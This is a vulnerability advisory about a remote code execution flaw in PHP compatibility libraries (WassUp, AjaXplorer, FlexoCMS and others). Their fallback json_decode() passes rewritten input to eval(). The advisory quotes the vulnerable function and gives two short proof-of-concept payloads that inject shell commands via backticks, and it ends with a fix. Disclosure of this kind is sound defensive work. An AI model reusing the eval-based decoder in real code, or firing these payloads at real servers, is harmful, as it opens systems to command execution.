JAHx221 - RCE in copy/pasted PHP compat libraries, json_decode function
===============================================================================
Several PHP compatability libraries contain a potential remote code
execution
flaw in their `json_decode()` function based on having copy pasted existing
vulnerable code.


Identifiers
---------------------------------------
 * JAHx221 - http://www.justanotherhacker.com/advisories/JAHx221.txt


Affected components
---------------------------------------
 * WassUp Realtime analytics wordpress plugin/compat library -
https://wordpress.org/plugins/wassup/
 * AjaXplorer Core -
https://pydio.com/en/community/releases/pydio-core/ajaxplorer-core-503-released
 * FlexoCMS - https://github.com/flexocms/flexo1.source
 * Various code -
https://github.com/search?p=6&q=if+function_exists+json_decode+eval+%24out&type=Code
 * compat_functions.php - http://techfromhel.com


Description
---------------------------------------
This appears to date back to a compatability library published in 2010 and
appears in several code bases, with no, or a few variations.

The vulnerable code generally share the following characteristic:
 * The json_decode function is declared if it does not exist
 * some str_replace occurs to transform the json representation to PHP
 * eval($out)

Since `eval()` is turing complete, it is generally considered unsafe to use
it
on user controlled or user influenced data, however it is unclear if
practical
exploitation would be possible due to the likely presence of an existing
 json_decode function.

```php
/**
 * compat_functions.php
 * Description: Emulate some functions from PHP 5.2+ and Wordpress 2.6+ for
 *   backwards compatibility with PHP 4.3+ and Wordpress 2.2+, respectively
 * @author: Helene D. <http://techfromhel.com>
 * @version: 0.3 - 2010-09-13
 * @since Wassup 1.8
 */

/**
 * Convert simple JSON data into a PHP object (default) or associative
 *   array. Emulates 'json_decode' function from PHP 5.2+
 * @author: Helene Duncker <http://techfromhel.com>
 * @param string,boolean
 * @return (array or object)
 */
if (!function_exists('json_decode')) {
function json_decode($json,$to_array=false) {
$x=false;
if (!empty($json) && strpos($json,'{"')!==false) {
$out =
'$x='.str_replace(array('{','":','}'),array('array(','"=>',')'),$json);
eval($out.';');
if (!$to_array) $x = (object) $x;
}
return $x;
} //end function json_decode
}
```


Proof of Concept
---------------------------------------
The eval can be exploited a number of ways, both via full or partial
control of the json string:
```php
/* Payload
`id`;//{"
*/
json_decode('`id`;//{"');
```
or partially controlled content:
```php
/* Payload
{"key":"value");echo `id`;//"}
*/
json_decode('{"key":"value");echo `id`;//"}');

```

Credit
---------------------------------------
Eldar "Wireghoul" Marcussen


Solution
---------------------------------------
Ensure json_decode is present as a native function for your PHP
installation.